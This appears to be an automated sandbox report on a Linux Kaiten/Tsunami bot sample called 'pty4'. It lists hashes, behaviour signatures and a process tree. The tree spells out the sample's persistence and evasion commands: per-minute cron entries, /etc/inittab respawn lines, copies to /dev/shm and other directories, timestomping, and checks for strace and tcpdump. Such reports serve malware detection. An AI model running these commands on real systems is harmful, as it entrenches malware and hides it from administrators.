Analysis
- max time kernel
46s - max time network
129s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
05/08/2026, 00:14
Behavioral task
behavioral1
Sample
pty4
Resource
ubuntu1804-amd64-20260513-en
10 signatures
150 seconds
General
- Target pty4
- Size 43KB
- Sample260805-ajg2gsteme
- SHA256 3e16c3bc39182471cac0c89b9883bd102d23d4bb938eb648c7d88b8649e857a9
- MD5 25d16799de2eed88a5c04fdc4fe4d64b
- SHA1 5bea3031c368b4cad26a92e80232ea41847cb708
- SHA512 1800a0c93857d19ad187155c0c7282964739eb0c8e7a874e3595623a742039c470f7bad268ba41b815fc4b55a01f59a850d3c944afb8c139a11ce61ec53d8d0f
- SSDEEP 768:aXkvhd+xT8f22JF+qqSFHZB4aehF1S1Y8+2vwqGHHmVXRjA:0Gy826FHZSae8Wf2vgHm5R0
- TLSH T1E313F102B9F9FD16F687ECF321887C9CB3BED89B0A717BEA2735186710B116141344A0
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/1482-1-0x0000000008048000-0x0000000008061864-memory.dmp family_kaiten_v3 - Creates/modifies Cron job 1 TTPs 5 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.WwcfAd crontab File opened for modification /var/spool/cron/crontabs/tmp.vvMloX crontab File opened for modification /var/spool/cron/crontabs/tmp.ktjcm3 crontab File opened for modification /var/spool/cron/crontabs/tmp.8bYfQ5 crontab File opened for modification /var/spool/cron/crontabs/tmp.KO2qH7 crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Indicator Removal: Timestomp 1 TTPs 10 IoCs
Adversaries may remove indicators of compromise from the host to evade detection.
pid Process 1509 touch 1555 touch 1508 sh 1533 sh 1534 touch 1554 sh 1574 sh 1575 touch 1594 sh 1595 touch -
resource yara_rule behavioral1/files/fstream-8.dat upx - Changes its process name 1 IoCs
description pid Process Changes the process name, possibly in an attempt to hide itself 1482 pty4 -
description ioc Process File opened for reading /proc/11/cmdline pidof File opened for reading /proc/901/stat pidof File opened for reading /proc/915/stat pidof File opened for reading /proc/1036/stat pidof File opened for reading /proc/664/cmdline pidof File opened for reading /proc/1072/cmdline pidof File opened for reading /proc/1482/stat pidof File opened for reading /proc/137/stat pidof File opened for reading /proc/1478/stat pidof File opened for reading /proc/1/stat pidof File opened for reading /proc/27/stat pidof File opened for reading /proc/35/cmdline pidof File opened for reading /proc/115/cmdline pidof File opened for reading /proc/1058/stat pidof File opened for reading /proc/515/cmdline pidof File opened for reading /proc/1118/stat pidof File opened for reading /proc/12/stat pidof File opened for reading /proc/1292/stat pidof File opened for reading /proc/36/stat pidof File opened for reading /proc/484/stat pidof File opened for reading /proc/1234/stat pidof File opened for reading /proc/2/cmdline pidof File opened for reading /proc/1480/cmdline pidof File opened for reading /proc/6/stat pidof File opened for reading /proc/36/cmdline pidof File opened for reading /proc/514/cmdline pidof File opened for reading /proc/1079/stat pidof File opened for reading /proc/22/stat pidof File opened for reading /proc/891/cmdline pidof File opened for reading /proc/22/stat pidof File opened for reading /proc/167/cmdline pidof File opened for reading /proc/705/cmdline pidof File opened for reading /proc/1292/cmdline pidof File opened for reading /proc/203/cmdline pidof File opened for reading /proc/1044/cmdline pidof File opened for reading /proc/1058/cmdline pidof File opened for reading /proc/1/cmdline pidof File opened for reading /proc/4/cmdline pidof File opened for reading /proc/31/stat pidof File opened for reading /proc/694/stat pidof File opened for reading /proc/1134/stat pidof File opened for reading /proc/169/cmdline pidof File opened for reading /proc/520/stat pidof File opened for reading /proc/901/cmdline pidof File opened for reading /proc/9/stat pidof File opened for reading /proc/460/stat pidof File opened for reading /proc/596/cmdline pidof File opened for reading /proc/980/stat pidof File opened for reading /proc/14/cmdline pidof File opened for reading /proc/1164/stat pidof File opened for reading /proc/1373/stat pidof File opened for reading /proc/19/cmdline pidof File opened for reading /proc/29/stat pidof File opened for reading /proc/80/stat pidof File opened for reading /proc/161/cmdline pidof File opened for reading /proc/270/cmdline pidof File opened for reading /proc/1320/cmdline pidof File opened for reading /proc/1480/stat pidof File opened for reading /proc/18/stat pidof File opened for reading /proc/270/stat pidof File opened for reading /proc/1023/cmdline pidof File opened for reading /proc/1046/cmdline pidof File opened for reading /proc/78/cmdline pidof File opened for reading /proc/1296/stat pidof - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/pty4 cp - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bawtz pty4
Processes
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/tmp/pty4/tmp/pty41⤵
- Changes its process name
- Writes file to tmp directory
PID:1482 -
/bin/shsh -c "pidof -x strace > /dev/null"2⤵PID:1483
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/bin/pidofpidof -x strace3⤵
- Reads runtime system information
PID:1484
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-
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/bin/shsh -c "pidof -x tcpdump > /dev/null"2⤵PID:1485
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/bin/pidofpidof -x tcpdump3⤵
- Reads runtime system information
PID:1486
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/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty4\" > /etc/inittab2"2⤵PID:1489
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/bin/catcat /etc/inittab3⤵PID:1491
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/bin/grepgrep -v /tmp/pty43⤵PID:1492
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-
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/bin/shsh -c "crontab -l | grep /tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1490
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/bin/grepgrep -v "no cron"3⤵PID:1497
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/bin/grepgrep /tmp/pty43⤵PID:1496
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/usr/bin/crontabcrontab -l3⤵PID:1494
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1502
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/usr/bin/crontabcrontab -l3⤵PID:1504
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-
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/bin/shsh -c "crontab -r"2⤵PID:1493
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/usr/bin/crontabcrontab -r3⤵PID:1495
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-
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/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty4\" >> /etc/inittab2"2⤵PID:1499
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1503
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/bin/catcat /etc/inittab23⤵PID:1505
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1506
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/bin/rmrm -rf /etc/inittab23⤵PID:1507
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-
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1508 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1509
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/bin/shsh -c "/bin/uname -n"2⤵PID:1513
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/bin/uname/bin/uname -n3⤵PID:1515
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/bin/shsh -c "cp -f /tmp/pty4 /dev/shm/pty4"2⤵PID:1514
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/bin/cpcp -f /tmp/pty4 /dev/shm/pty43⤵
- Writes file to shm directory
PID:1516
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-
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/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty4\" > /etc/inittab2"2⤵PID:1518
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/bin/grepgrep -v /dev/shm/pty43⤵PID:1521
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/bin/catcat /etc/inittab3⤵PID:1520
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-
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/bin/shsh -c "crontab -l | grep /dev/shm/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1519
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/bin/grepgrep -v "no cron"3⤵PID:1524
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/bin/grepgrep /dev/shm/pty43⤵PID:1523
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/usr/bin/crontabcrontab -l3⤵PID:1522
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1527
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/usr/bin/crontabcrontab -l3⤵PID:1529
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-
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/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty4\" >> /etc/inittab2"2⤵PID:1525
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1528
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/bin/catcat /etc/inittab23⤵PID:1530
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1531
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/bin/rmrm -rf /etc/inittab23⤵PID:1532
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-
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1533 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1534
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-
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/bin/shsh -c "cp -f /tmp/pty4 /var/tmp/pty4"2⤵PID:1535
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/bin/cpcp -f /tmp/pty4 /var/tmp/pty43⤵PID:1537
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty4\" > /etc/inittab2"2⤵PID:1539
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/bin/grepgrep -v /var/tmp/pty43⤵PID:1541
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/bin/catcat /etc/inittab3⤵PID:1540
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-
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/bin/shsh -c "crontab -l | grep /var/tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1542
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/bin/grepgrep -v "no cron"3⤵PID:1545
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/bin/grepgrep /var/tmp/pty43⤵PID:1544
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/usr/bin/crontabcrontab -l3⤵PID:1543
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1549
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/usr/bin/crontabcrontab -l3⤵PID:1551
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/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty4\" >> /etc/inittab2"2⤵PID:1546
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1547
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/bin/catcat /etc/inittab23⤵PID:1550
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1552
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/bin/rmrm -rf /etc/inittab23⤵PID:1553
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1554 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1555
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/bin/shsh -c "cp -f /tmp/pty4 /var/lock/pty4"2⤵PID:1556
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/bin/cpcp -f /tmp/pty4 /var/lock/pty43⤵PID:1557
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty4\" > /etc/inittab2"2⤵PID:1559
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/bin/grepgrep -v /var/lock/pty43⤵PID:1561
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/bin/catcat /etc/inittab3⤵PID:1560
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/bin/shsh -c "crontab -l | grep /var/lock/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1562
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/bin/grepgrep -v "no cron"3⤵PID:1565
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/bin/grepgrep /var/lock/pty43⤵PID:1564
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/usr/bin/crontabcrontab -l3⤵PID:1563
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1569
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/usr/bin/crontabcrontab -l3⤵PID:1571
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/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty4\" >> /etc/inittab2"2⤵PID:1566
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1567
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/bin/catcat /etc/inittab23⤵PID:1570
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1572
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/bin/rmrm -rf /etc/inittab23⤵PID:1573
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1574 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1575
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/bin/shsh -c "cp -f /tmp/pty4 /var/run/pty4"2⤵PID:1576
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/bin/cpcp -f /tmp/pty4 /var/run/pty43⤵PID:1577
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty4\" > /etc/inittab2"2⤵PID:1579
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/bin/grepgrep -v /var/run/pty43⤵PID:1582
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/bin/catcat /etc/inittab3⤵PID:1581
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/bin/shsh -c "crontab -l | grep /var/run/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty4 > /dev/null 2>&1 &\") | crontab -"2⤵PID:1580
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/bin/grepgrep -v "no cron"3⤵PID:1585
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/usr/bin/crontabcrontab -l3⤵PID:1583
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/bin/grepgrep /var/run/pty43⤵PID:1584
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:1589
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/usr/bin/crontabcrontab -l3⤵PID:1591
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/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty4\" >> /etc/inittab2"2⤵PID:1586
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:1587
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/bin/catcat /etc/inittab23⤵PID:1590
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:1592
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/bin/rmrm -rf /etc/inittab23⤵PID:1593
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:1594 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:1595
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path /dev/shm/pty4
- Size 43KB
- SHA256 3e16c3bc39182471cac0c89b9883bd102d23d4bb938eb648c7d88b8649e857a9
- MD5 25d16799de2eed88a5c04fdc4fe4d64b
- SHA1 5bea3031c368b4cad26a92e80232ea41847cb708
- SHA512 1800a0c93857d19ad187155c0c7282964739eb0c8e7a874e3595623a742039c470f7bad268ba41b815fc4b55a01f59a850d3c944afb8c139a11ce61ec53d8d0f
- SSDEEP 768:aXkvhd+xT8f22JF+qqSFHZB4aehF1S1Y8+2vwqGHHmVXRjA:0Gy826FHZSae8Wf2vgHm5R0
- TLSH T1E313F102B9F9FD16F687ECF321887C9CB3BED89B0A717BEA2735186710B116141344A0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /etc/inittab
- Size 83B
- SHA256 7fbf43311d4796b4039c1b4336eee7ca6552be98203d1858d14cb6e37ea877e5
- MD5 c3df7eba718ab5494124e12efd721afb
- SHA1 1b42fd91a51a3a6a2a3e2baec1cd8abadd2c631f
- SHA512 f424c4d2d6f53c5c2ef64db057b52803146a17cf5492728709ecb7f2b07b8349890d8be3a689aeb68cd64333c1b527a8a39943b119a57e07c4ea97af76f1787f
- TLSH T103A00103F0712D9EA1F0A1A81B140202A2439700DE876B18C6433F72E20AF2AAD75026
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab
- Size 113B
- SHA256 7afb3d064700bcb2fec3b727de8e99eb2afebb919d4222ad3a92936b0ed714ae
- MD5 3eb623e3ff1934c48a37ba1dd32cebaf
- SHA1 42cad0982531e126bcf501cc46b41e590c5cc7fc
- SHA512 f3fc2e0504562090b2f9f42d8b90bfa074734dc9c2048e27e0f4e103dabca99a2abf471b2d61ec35001d03ce4b796a8cd140f20f74d35c83a52819dfececac3c
- TLSH T162B00207F4711DAEA1F4A5A81F540216A2435700DD476B18C5477F72E20AF2A6D75166
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 54B
- SHA256 031e3a9a99c03a49fea757df0d3ff52fc5dbcc07d37f2674efe21cae6529c370
- MD5 c61fe27473535c7ac532d70ed8182832
- SHA1 d5f3a809df3470eae8dd773da6727c33b46bf1dc
- SHA512 6d2e16886c925795851c4bde0aca83ef7618530756f83efda7f3102970b80d5ad300454ec2473b822c6cc058a57b63d2dd79d5d0a88852ecc184a1182ea6b3a8
- TLSH T160900203F0501D0DA1B0A0980B000201A2035700DD871B1881432E72E20AF2A6D74002
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 142B
- SHA256 53aca2a49a912146645bbb47d0abb1827520434abb907cadf77bc55b2572b099
- MD5 bd60346a01f1b4bde9993a6baa8183a2
- SHA1 ec6a317ad472790b18d0b662ac6992e226041c3e
- SHA512 c960e7d898096547cecee2376226203f2ef9ae88185b6ad52a4ecac742aa60c1ea699fc167a86201b9bc0102f029acc296c8a7bcd4e9f5793d5310cdb4faa098
- TLSH T1D6C04C03F0311CAEA4F061E80F180202A2434300DD436B08C5073F72E20AF2A6C70026
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 25B
- SHA256 a1a915c2d2d8b0997cea0c5885f31609e34ba6f5e9761f7a1fe5c292ae743dea
- MD5 6b150c167c13fb201746d5c31cb071c6
- SHA1 529600487af6ceb1f6686fea21eb40fd722ee626
- SHA512 4b62ff9c05083a4a7f603308e3c673b031eeb4813c26fd5dc130e377609558a8c07818657f96b38f7eaa2fc0a0915b90865620f230a056dc4ec8bb87ee4a9213
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/tmp.8bYfQ5
- Size 300B
- SHA256 320ea0f1b8e324d6227e3907afbf234a7ef8149497878b73a36656b21132bcc1
- MD5 27022715045b0eb3db99c2e3a800d677
- SHA1 c8e1b3fbe5ae36ea92b9a7c46a655f1bcc4886e5
- SHA512 3c635e23a7aebefe56f6cd51470fa71003a9657a3f917db7d30be1a259463443f687f71474687489e75fc510817c90a6b5568308981a0ec7e8b60d6650f1e3ea
- TLSH T18CE0C23477716CA039494B381A5B60992B83B92A842D6E41F1DE1434554F34BE610930
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.KO2qH7
- Size 344B
- SHA256 0c93ca8e95ec536abcf3c8fe39657963356e18777d48989c77de55ff705d7381
- MD5 75e8c44f660281c0282382d9bf74c072
- SHA1 e4b8c948bfb46f43733c0fed6a29089e3a9efd0a
- SHA512 8be36a3179d262052d6afa72aa3452108d5f8e9f11ed75833f400ea2dfd8361e4e1ac39ba8cff2f769fc0641c7398146a5f0af24806cfe7e50287ed79097bd44
- TLSH T1E9E0863477715CE539894B781A9F70992B837926442D6E41F1DE5434554F34BE650A30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.WwcfAd
- Size 387B
- SHA256 1d8e2a2adc5ea228d217f2cf879e6e14f08e7d5d7e6505196117b39919b89ddb
- MD5 ec309a10bfdfad1321e87f3b5263c25c
- SHA1 abc6366a8f8f0921e9de3b4575c8b88739a54755
- SHA512 c5b5518a37a284f5da8149cae2c1a7ecc22f0609a7da074e07f6f613059ae6654b5a21592cd1fe9c244c8a8e9fc7cb8a8ef0b21b292d5e9560cda2607080d7d3
- TLSH T13DE04F34B7B16CE53D8A8B7C1A9F70992BC37926443D6E82F1DE6434954F34BE650A30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.ktjcm3
- Size 257B
- SHA256 8b8c58913cd3a94151e6a22f04037f7bfdb08bea1ee7fa4db91a23934d07dbc0
- MD5 c15fa3e760ca19105fa40cc589ad58ad
- SHA1 019fcc08726171e13c92b0fffc04e424eca01551
- SHA512 7422a89f245cf5e1d43d50a28bc023483ca9c2f22ff7ad1a3eadf34cbfa7b37f56ccff42a7bfc6c3a561be486bda987271970164395801d2224f80a5d2d8a4d8
- TLSH T18ED097387B706C703A090B381B4B20593B83B83A802D6F41F0DE0034420F34FEB10930
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.vvMloX
- Size 214B
- SHA256 ea52bff7ece3d403dd668eb9cb0915691577269c5f9e14ed704a04d03c9954a5
- MD5 2c1b3f01b3a0ba0de00337b8ed0b7e73
- SHA1 ba3918321ff5133d4ab94b8c973e55c6d2eb2038
- SHA512 35448b154d907f2c86ca316f62a734dbab6a604dcad4b0db6c673919cd23e5559994078053501180557ee99d42dd80dfbcf72dbf9757c01e08f41a831c05294c
- TLSH T1AFD022383B31AC303A090B28265B212D6A82B47E801DAE41F1ED0038021F39EAB50931
- MD5 SHA1 SHA512 TLSH